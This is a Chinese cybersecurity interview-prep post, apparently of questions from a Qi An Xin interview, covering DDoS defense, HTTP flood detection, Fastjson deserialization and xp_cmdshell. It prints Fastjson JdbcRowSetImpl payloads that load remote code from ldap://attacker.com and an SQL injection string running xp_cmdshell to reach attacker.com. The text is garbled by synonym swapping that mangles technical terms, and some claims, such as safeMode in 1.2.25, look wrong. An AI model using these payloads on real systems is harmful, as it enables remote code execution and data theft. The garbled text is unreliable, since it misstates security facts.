奇安信二面

《网安口试指南》

https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库

https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

上难度

题目1：
筹划抗DDoS方案时，怎样在网络层、传输层、应用层分别摆设防护？各罗列2项关键技能。
答案：

• 网络层：BGP AnyCast分流、SYN Cookie防御
  
• 传输层：TCP速率限定、毗连状态检测（如FIN包验证）
  
• 应用层：JavaScript Challenge、活动分析（如鼠标移动频率）
  

题目2：
怎样通过Nginx日志分析辨认HTTP Flood攻击？给出至少3个关键指标及对应阈值设置逻辑。
答案：

• 哀求频率：单IP > 1000次/分钟（基线动态调解）
  
• User-Aent分布：非常会集（如90%哀求使用雷同UA）
  
• URL熵值：大量随机路径哀求（如/asdf1234）
  
• 相应码比例：高比例404/400（扫描特性）
  

题目3：
分析Fastjson 1.2.24反序列化毛病使用条件，给出使用JdbcRowSetImpl的完备Payload及修复方案。
答案：

• Payload：
  

1. {
2.   "@type":"com.sun.rowset.JdbcRowSetImpl",
3.   "dataSourceName":"ldap://attacker.com/Exploit",
4.   "autoCommit":true
5. }

复制代码

• 修复：
  
  
  • 升级至1.2.25+并启用safeMode
    
  • 设置ParserConfig.getGlobalInstance().addDeny("com.sun.rowset")
    
  
  

题目4：
Fastjson 1.2.68修补了AutoType绕过毛病，请表明攻击者怎样通过非常抛出机制绕过黑名单检测。
答案：

• 绕过原理：
  
  
  • 使用java.lang.Exception子类中的@type字段触发反序列化
    
  • 非常类加载时绕过checkAutoType()查抄
    
  
  
• Payload示例：
  

1. {
2.   "@type":"java.lang.Exception",
3.   "@type":"com.sun.rowset.JdbcRowSetImpl",
4.   "dataSourceName":"ldap://attacker.com/exp",
5.   "autoCommit":true
6. }

复制代码

题目5：
某体系允许通过SQL语句调用存储过程，怎样使用xp_cmdshell实现RCE？阐明防御的多层方案。
答案：

• 攻击步调：
  
  
  • 注入语句：'; EXEC master..xp_cmdshell 'ping attacker.com'--
    
  • 通过DNS或ICMP外带数据
    
  
  
• 防御方案：
  
  
  • 数据库层：禁用xp_cmdshell、最小权限运行
    
  • 应用层：输入过滤（如禁用EXEC关键字）
    
  • 网络层：出站流量监控
    
  
  

题目：
筹划抗DDoS方案时，怎样保障核心业务在500Gbps流量攻击下的可用性？需包罗架构筹划及应急相应流程。
答案：

• 架构筹划：
  
  
  • 流量洗濯中央：AnyCast+GRE隧道引流
    
  • 多CDN动态调治（如Cloudflare+Akamai）
    
  • 业务降级：静态页面回退、非核心服务限流
    
  
  
• 应激流程：
  
  
  • 实时监控触发阈值（如95%带宽占用）
    
  • 自动切换至洗濯中央
    
  • 人工分析攻击特性更新防护规则